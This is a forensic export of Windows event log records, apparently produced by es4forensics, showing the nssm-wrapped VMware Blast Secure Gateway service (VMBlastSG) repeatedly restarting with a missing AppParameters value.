es4forensics 0.5.1

{"@timestamp":1646762711725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162493}}
{"@timestamp":1646762711726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162494}}
{"@timestamp":1646762711726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162495}}
{"@timestamp":1646762840019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162496}}
{"@timestamp":1646762840021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162497}}
{"@timestamp":1646762840022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159032","0"]}}},"module":"Application","provider":"nssm","sequence":162498}}
{"@timestamp":1646762840022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159032","159032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162499}}
{"@timestamp":1646762840038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162500}}
{"@timestamp":1646762840039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162501}}
{"@timestamp":1646762840039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162502}}
{"@timestamp":1646762840040,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162503}}
{"@timestamp":1646762968345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162504}}
{"@timestamp":1646762968346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162505}}
{"@timestamp":1646762968347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159356","0"]}}},"module":"Application","provider":"nssm","sequence":162506}}
{"@timestamp":1646762968348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159356","159356","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162507}}
{"@timestamp":1646762968366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162508}}
{"@timestamp":1646762968367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162509}}
{"@timestamp":1646762968367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162510}}
{"@timestamp":1646762968368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162511}}
{"@timestamp":1646763096654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162512}}
{"@timestamp":1646763096656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162513}}
{"@timestamp":1646763096656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159564","0"]}}},"module":"Application","provider":"nssm","sequence":162514}}
{"@timestamp":1646763096657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159564","159564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162515}}
{"@timestamp":1646763096673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162516}}
{"@timestamp":1646763096673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162517}}
{"@timestamp":1646763096674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162518}}
{"@timestamp":1646763096674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162519}}
{"@timestamp":1646763310093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162520}}
{"@timestamp":1646763310094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162521}}
{"@timestamp":1646763310094,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158968","0"]}}},"module":"Application","provider":"nssm","sequence":162522}}
{"@timestamp":1646763310095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158968","158968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162523}}
{"@timestamp":1646763310110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159036","0"]}}},"module":"Application","provider":"nssm","sequence":162524}}
{"@timestamp":1646763310111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159036","158968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162525}}
{"@timestamp":1646763310126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162526}}
{"@timestamp":1646763310126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162527}}
{"@timestamp":1646763310127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162528}}
{"@timestamp":1646763310127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162529}}
{"@timestamp":1646763438501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162530}}
{"@timestamp":1646763438503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162531}}
{"@timestamp":1646763438504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158812","0"]}}},"module":"Application","provider":"nssm","sequence":162532}}
{"@timestamp":1646763438504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158812","158812","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162533}}
{"@timestamp":1646763438522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162534}}
{"@timestamp":1646763438523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162535}}
{"@timestamp":1646763438523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162536}}
{"@timestamp":1646763438524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162537}}
{"@timestamp":1646763566800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162538}}
{"@timestamp":1646763566801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162539}}
{"@timestamp":1646763566802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159244","0"]}}},"module":"Application","provider":"nssm","sequence":162540}}
{"@timestamp":1646763566802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159244","159244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162541}}
{"@timestamp":1646763566818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162542}}
{"@timestamp":1646763566819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162543}}
{"@timestamp":1646763566819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162544}}
{"@timestamp":1646763566820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162545}}
{"@timestamp":1646763696222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162546}}
{"@timestamp":1646763696223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162547}}
{"@timestamp":1646763696224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157360","0"]}}},"module":"Application","provider":"nssm","sequence":162548}}
{"@timestamp":1646763696225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157360","157360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162549}}
{"@timestamp":1646763696240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157980","0"]}}},"module":"Application","provider":"nssm","sequence":162550}}
{"@timestamp":1646763696241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157980","157360","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162551}}
{"@timestamp":1646763696256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162552}}
{"@timestamp":1646763696256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162553}}
{"@timestamp":1646763696257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162554}}
{"@timestamp":1646763696258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162555}}
{"@timestamp":1646763824657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162556}}
{"@timestamp":1646763824657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162557}}
{"@timestamp":1646763824658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158032","0"]}}},"module":"Application","provider":"nssm","sequence":162558}}
{"@timestamp":1646763824659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158032","158032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162559}}
{"@timestamp":1646763824677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162560}}
{"@timestamp":1646763824678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162561}}
{"@timestamp":1646763824678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162562}}
{"@timestamp":1646763824679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162563}}
{"@timestamp":1646763953148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162564}}
{"@timestamp":1646763953149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162565}}
{"@timestamp":1646763953149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159580","0"]}}},"module":"Application","provider":"nssm","sequence":162566}}
{"@timestamp":1646763953150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159580","159580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162567}}
{"@timestamp":1646763953166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162568}}
{"@timestamp":1646763953167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162569}}
{"@timestamp":1646763953168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162570}}
{"@timestamp":1646763953169,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162571}}
{"@timestamp":1646764081800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162572}}
{"@timestamp":1646764081801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162573}}
{"@timestamp":1646764081802,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159492","0"]}}},"module":"Application","provider":"nssm","sequence":162574}}
{"@timestamp":1646764081803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159492","159492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162575}}
{"@timestamp":1646764081823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158956","0"]}}},"module":"Application","provider":"nssm","sequence":162576}}
{"@timestamp":1646764081823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158956","159492","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162577}}
{"@timestamp":1646764081842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162578}}
{"@timestamp":1646764081843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162579}}
{"@timestamp":1646764081844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162580}}
{"@timestamp":1646764081845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162581}}
{"@timestamp":1646764210167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162582}}
{"@timestamp":1646764210168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162583}}
{"@timestamp":1646764210170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157828","0"]}}},"module":"Application","provider":"nssm","sequence":162584}}
{"@timestamp":1646764210171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157828","157828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162585}}
{"@timestamp":1646764210188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162586}}
{"@timestamp":1646764210188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162587}}
{"@timestamp":1646764210189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162588}}
{"@timestamp":1646764210190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162589}}
{"@timestamp":1646764338786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162590}}
{"@timestamp":1646764338786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162591}}
{"@timestamp":1646764338787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156332","0"]}}},"module":"Application","provider":"nssm","sequence":162592}}
{"@timestamp":1646764338788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156332","156332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162593}}
{"@timestamp":1646764338806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162594}}
{"@timestamp":1646764338807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162595}}
{"@timestamp":1646764338807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162596}}
{"@timestamp":1646764338808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162597}}
{"@timestamp":1646764467767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162598}}
